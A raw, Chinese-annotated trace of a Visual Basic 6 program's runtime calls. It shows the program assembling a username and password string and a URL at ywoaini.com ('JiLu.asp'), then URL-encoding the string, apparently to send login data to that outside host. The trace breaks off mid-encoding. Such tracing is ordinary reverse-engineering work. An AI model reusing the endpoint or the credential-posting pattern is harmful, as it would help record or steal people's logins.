返回地址: 00405CEF 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B43A68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405D28 函数名称: __vbaLateMemCallLd(MSVBVM60.DLL)
__vbaLateMemCallLd:
lpStockBuffer=0x0012F824
Guid=0x01B43A68
String="ReadyState"
nType=0x00000000
__vbaLateMemCallLd返回值: 0x0012F824 (vb长整型:4)
返回地址: 00405D36 函数名称: __vbaVarTstEq(MSVBVM60.DLL)
__vbaVarTstEq: 变量是否相等
Var1=0x0012F804 (vb整型:4)
Var2=0x0012F824 (vb长整型:4)
__vbaVarTstEq返回值: 0xFFFFFFFF(NULL表示不相等)
返回地址: 00405D7F 函数名称: __vbaLateMemCallLd(MSVBVM60.DLL)
__vbaLateMemCallLd:
lpStockBuffer=0x0012F824
Guid=0x01B43A68
String="responseBody"
nType=0x00000000
__vbaLateMemCallLd返回值: 0x0012F824 (vb字节类型:96)
返回地址: 00405D97 函数名称: rtcStrConvVar2(MSVBVM60.DLL)
rtcStrConvVar2: 压缩字符串
arg1=0x0012F814
vbVar=0x0012F824 (vb字节类型:96)
rtcStrConvVar2返回值: 0x0012F814 (vb字符串:"否")
返回地址: 00405DA1 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F814 (vb字符串:"否")
__vbaStrVarMove返回值: 0x00171364 (unicode字符串"否")
返回地址: 00405DAC 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x00000000
__vbaStrMove返回值: 0x00171364 (unicode字符串"否")
返回地址: 00405DD5 函数名称: __vbaObjSetAddref(MSVBVM60.DLL)
__vbaObjSetAddref返回值: 0x00000000
返回地址: 00405DE8 函数名称: __vbaObjSetAddref(MSVBVM60.DLL)
__vbaObjSetAddref返回值: 0x00000000
返回地址: 00404807 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171364 (unicode字符串"否")
返回地址: 00404937 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1="否"
String2="否"
__vbaStrCmp返回值: 0x00000000
返回地址: 00404C80 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="获取密码加QQ2049826856"
String2="UserName="
__vbaStrCat返回值: 0x001903B4 (unicode字符串"UserName=获取密码加QQ2049826856")
返回地址: 00404C8E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001903B4 (unicode字符串"UserName=获取密码加QQ2049826856")
返回地址: 00404C9A 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="&PassWord="
String2="UserName=获取密码加QQ2049826856"
__vbaStrCat返回值: 0x0018DCEC (unicode字符串"UserName=获取密码加QQ2049826856&PassWord=")
返回地址: 00404CA8 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0018DCEC (unicode字符串"UserName=获取密码加QQ2049826856&PassWord=")
返回地址: 00404CB6 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="102494"
String2="UserName=获取密码加QQ2049826856&PassWord="
__vbaStrCat返回值: 0x0016706C (unicode字符串"UserName=获取密码加QQ2049826856&PassWord=102494")
返回地址: 00404CC4 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0016706C (unicode字符串"UserName=获取密码加QQ2049826856&PassWord=102494")
返回地址: 00404CD5 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="JiLu.asp"
String2="http://ywoaini.com/asp/kjjm/"
__vbaStrCat返回值: 0x0018DAD4 (unicode字符串"http://ywoaini.com/asp/kjjm/JiLu.asp")
返回地址: 00404CE3 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0016706C
strSrc=0x0012FB20
__vbaStrMove返回值: 0x0018DAD4 (unicode字符串"http://ywoaini.com/asp/kjjm/JiLu.asp")
返回地址: 004056FC 函数名称: __vbaOnError(MSVBVM60.DLL)
__vbaOnError: On Error遇到错误的处理方式
OnErrEvent=0xFFFFFFFF
__vbaOnError返回值: 0xFFFFFFFF
返回地址: 00405714 函数名称: rtcCreateObject2(MSVBVM60.DLL)
rtcCreateObject2返回值: 0x0012F824
返回地址: 0040571E 函数名称: __vbaObjVar(MSVBVM60.DLL)
__vbaObjVar返回值: 0x01B44C68
返回地址: 00405729 函数名称: __vbaObjSetAddref(MSVBVM60.DLL)
__vbaObjSetAddref返回值: 0x01B44C68
返回地址: 00405750 函数名称: rtcIsObject(MSVBVM60.DLL)
rtcIsObject返回值: 0xFFFFFFFF
返回地址: 004057CF 函数名称: __vbaObjSetAddref(MSVBVM60.DLL)
__vbaObjSetAddref返回值: 0x01B44C68
返回地址: 0040588E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 0040590E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 0040598E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405A0E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405A8E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405B0E 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405B30 函数名称: __vbaLenBstr(MSVBVM60.DLL)
__vbaLenBstr: 计算字符串
String="UserName=获取密码加QQ2049826856&PassWord=102494"
__vbaLenBstr返回值: 0x0000002A(字符串长度)
返回地址: 00405B94 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405C14 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405C94 函数名称: __vbaLateMemCall(MSVBVM60.DLL)
__vbaLateMemCall:
Guid=0x01B44C68
__vbaLateMemCall返回值: 0x00000000
返回地址: 00405F3A 函数名称: __vbaVarVargNofree(MSVBVM60.DLL)
__vbaVarVargNofree返回值: 0x0012F6A4
返回地址: 00405F48 函数名称: __vbaLenVar(MSVBVM60.DLL)
__vbaLenVar: 计算变量长度
RetBuffer=0x0012F704
Var=0x0012F6A4 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
__vbaLenVar返回值: 0x0012F704 (vb长整型:42)
返回地址: 00405F68 函数名称: __vbaVarForInit(MSVBVM60.DLL)
__vbaVarForInit: 初始化For循环
Counter=0x0012F758
TempStep=0x0012F670
TempEnd=0x0012F660
Start=0x0012F684 (vb整型:1)
End=0x0012F704 (vb长整型:42)
Step=0x0012F694 (vb整型:1)
__vbaVarForInit返回值: 0x00000001(初始化for循环)
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:1)
__vbaI4Var返回值: 0x00000001(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000001
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"U")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"U")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"U")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000055 ( 'U' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000055
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"U")
Var3=0x0012F718 (NULL)
__vbaVarCat返回值: 0x0012F704 (vb字符串:"U")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:2)
__vbaI4Var返回值: 0x00000002(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000002
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"s")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"s")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"s")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x00000073 ( 's' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000073
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"s")
Var3=0x0012F718 (vb字符串:"U")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"Us")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:3)
__vbaI4Var返回值: 0x00000003(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000003
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"e")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"e")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"e")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000065 ( 'e' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000065
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"e")
Var3=0x0012F718 (vb字符串:"Us")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"Use")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:4)
__vbaI4Var返回值: 0x00000004(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000004
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"r")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"r")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"r")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x00000072 ( 'r' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000072
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"r")
Var3=0x0012F718 (vb字符串:"Use")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"User")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:5)
__vbaI4Var返回值: 0x00000005(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000005
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"N")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"N")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"N")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x0000004E ( 'N' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x0000004E
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"N")
Var3=0x0012F718 (vb字符串:"User")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserN")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:6)
__vbaI4Var返回值: 0x00000006(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000006
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"a")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"a")
__vbaStrVarVal返回值: 0x00171644 (unicode字符串"a")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171644
rtcAnsiValueBstr返回值: 0x00000061 ( 'a' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000061
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"a")
Var3=0x0012F718 (vb字符串:"UserN")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserNa")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:7)
__vbaI4Var返回值: 0x00000007(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000007
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"m")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"m")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"m")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x0000006D ( 'm' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x0000006D
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"m")
Var3=0x0012F718 (vb字符串:"UserNa")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserNam")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:8)
__vbaI4Var返回值: 0x00000008(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000008
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"e")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"e")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"e")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x00000065 ( 'e' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x00000065
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"e")
Var3=0x0012F718 (vb字符串:"UserNam")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:9)
__vbaI4Var返回值: 0x00000009(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x00000009
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"=")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"=")
__vbaStrVarVal返回值: 0x001715C4 (unicode字符串"=")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x001715C4
rtcAnsiValueBstr返回值: 0x0000003D ( '=' )
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0x0000003D
返回地址: 0040600E 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F728 (vb字符串:"=")
Var3=0x0012F718 (vb字符串:"UserName")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:10)
__vbaI4Var返回值: 0x0000000A(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000000A
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"获")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"获")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"获")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x0000BBF1 (0xF1)
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0xFFFF440F
返回地址: 00406028 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"获")
__vbaStrVarVal返回值: 0x0017166C (unicode字符串"获")
返回地址: 0040602F 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x0017166C
rtcAnsiValueBstr返回值: 0x0000BBF1 (0xF1)
返回地址: 0040607A 函数名称: __vbaVarTstLt(MSVBVM60.DLL)
__vbaVarTstLt: 变量2是否小于变量1
Var1=0x0012F6A4 (vb整型:0)
Var2=0x0012F748 (vb整型:48113)
__vbaVarTstLt返回值: 0xFFFFFFFF(NULL表示不小于)
返回地址: 004060AB 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F704
Var1=0x0012F6A4 (vb长整型:65536)
Var2=0x0012F748 (vb整型:48113)
__vbaVarAdd返回值: 0x0012F704 (vb长整型:48113)
返回地址: 004060EC 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:47872)
返回地址: 00406101 函数名称: __vbaVarIdiv(MSVBVM60.DLL)
__vbaVarIdiv: 除法运算
RetBuffer=0x0012F6F4
Var1=0x0012F694 (vb整型:255)
Var2=0x0012F704 (vb长整型:47872)
__vbaVarIdiv返回值: 0x0012F6F4 (vb长整型:187)
返回地址: 00406130 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:241)
返回地址: 0040615E 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6F4
rtcHexVarFromVar返回值: 0x0012F6F4 (vb字符串:"BB")
返回地址: 0040617F 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6C4
rtcHexVarFromVar返回值: 0x0012F6C4 (vb字符串:"F1")
返回地址: 00406193 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F6A4 (vb字符串:"%")
Var3=0x0012F718 (vb字符串:"UserName=")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%")
返回地址: 004061A4 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6E4
Var2=0x0012F6F4 (vb字符串:"BB")
Var3=0x0012F704 (vb字符串:"UserName=%")
__vbaVarCat返回值: 0x0012F6E4 (vb字符串:"UserName=%BB")
返回地址: 004061B5 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6D4
Var2=0x0012F694 (vb字符串:"%")
Var3=0x0012F6E4 (vb字符串:"UserName=%BB")
__vbaVarCat返回值: 0x0012F6D4 (vb字符串:"UserName=%BB%")
返回地址: 004061C6 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6B4
Var2=0x0012F6C4 (vb字符串:"F1")
Var3=0x0012F6D4 (vb字符串:"UserName=%BB%")
__vbaVarCat返回值: 0x0012F6B4 (vb字符串:"UserName=%BB%F1")
返回地址: 00405F9E 函数名称: __vbaI4Var(MSVBVM60.DLL)
__vbaI4Var: 把VB变量变成I4数值
Var=0x0012F758 (vb长整型:11)
__vbaI4Var返回值: 0x0000000B(数值)
返回地址: 00405FB0 函数名称: rtcMidCharVar(MSVBVM60.DLL)
rtcMidCharVar: 在字符串中取字符
RetBuffer=0x0012F6F4
String=0x0012F804 (vb字符串:"UserName=获取密码加QQ2049826856&PassWord=102494")
Start=0x0000000B
Length=0x0012F704 (vb整型:1)
rtcMidCharVar返回值: 0x0012F6F4 (vb字符串:"取")
返回地址: 00405FD5 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"取")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"取")
返回地址: 00405FDC 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x0000C8A1 (0xA1)
返回地址: 00405FE4 函数名称: __vbaI2Abs(MSVBVM60.DLL)
__vbaI2Abs返回值: 0xFFFF375F
返回地址: 00406028 函数名称: __vbaStrVarVal(MSVBVM60.DLL)
__vbaStrVarVal: 把字符转ascii码
Arg1=0x0012F714
Char=0x0012F728 (vb字符串:"取")
__vbaStrVarVal返回值: 0x00171694 (unicode字符串"取")
返回地址: 0040602F 函数名称: rtcAnsiValueBstr(MSVBVM60.DLL)
rtcAnsiValueBstr: 把BStr字符转为数据,在eax反馈结果
BString=0x00171694
rtcAnsiValueBstr返回值: 0x0000C8A1 (0xA1)
返回地址: 0040607A 函数名称: __vbaVarTstLt(MSVBVM60.DLL)
__vbaVarTstLt: 变量2是否小于变量1
Var1=0x0012F6A4 (vb整型:0)
Var2=0x0012F748 (vb整型:51361)
__vbaVarTstLt返回值: 0xFFFFFFFF(NULL表示不小于)
返回地址: 004060AB 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F704
Var1=0x0012F6A4 (vb长整型:65536)
Var2=0x0012F748 (vb整型:51361)
__vbaVarAdd返回值: 0x0012F704 (vb长整型:51361)
返回地址: 004060EC 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:51200)
返回地址: 00406101 函数名称: __vbaVarIdiv(MSVBVM60.DLL)
__vbaVarIdiv: 除法运算
RetBuffer=0x0012F6F4
Var1=0x0012F694 (vb整型:255)
Var2=0x0012F704 (vb长整型:51200)
__vbaVarIdiv返回值: 0x0012F6F4 (vb长整型:200)
返回地址: 00406130 函数名称: __vbaVarAnd(MSVBVM60.DLL)
__vbaVarAnd: and运算
RetBuffer=0x0012F704
Var1=0x0012F6A4
Var2=0x0012F748
__vbaVarAnd返回值: 0x0012F704 (vb长整型:161)
返回地址: 0040615E 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6F4
rtcHexVarFromVar返回值: 0x0012F6F4 (vb字符串:"C8")
返回地址: 0040617F 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F6C4
rtcHexVarFromVar返回值: 0x0012F6C4 (vb字符串:"A1")
返回地址: 00406193 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F704
Var2=0x0012F6A4 (vb字符串:"%")
Var3=0x0012F718 (vb字符串:"UserName=%BB%F1")
__vbaVarCat返回值: 0x0012F704 (vb字符串:"UserName=%BB%F1%")
返回地址: 004061A4 函数名称: __vbaVarCat(MSVBVM60.DLL)
__vbaVarCat: 变量联接
RetBuffer=0x0012F6E4
Var2=0x0012F6F4 (vb字符串:"C8")
Var3=0x0012F704 (vb字符串:"UserName=%BB%F1%")
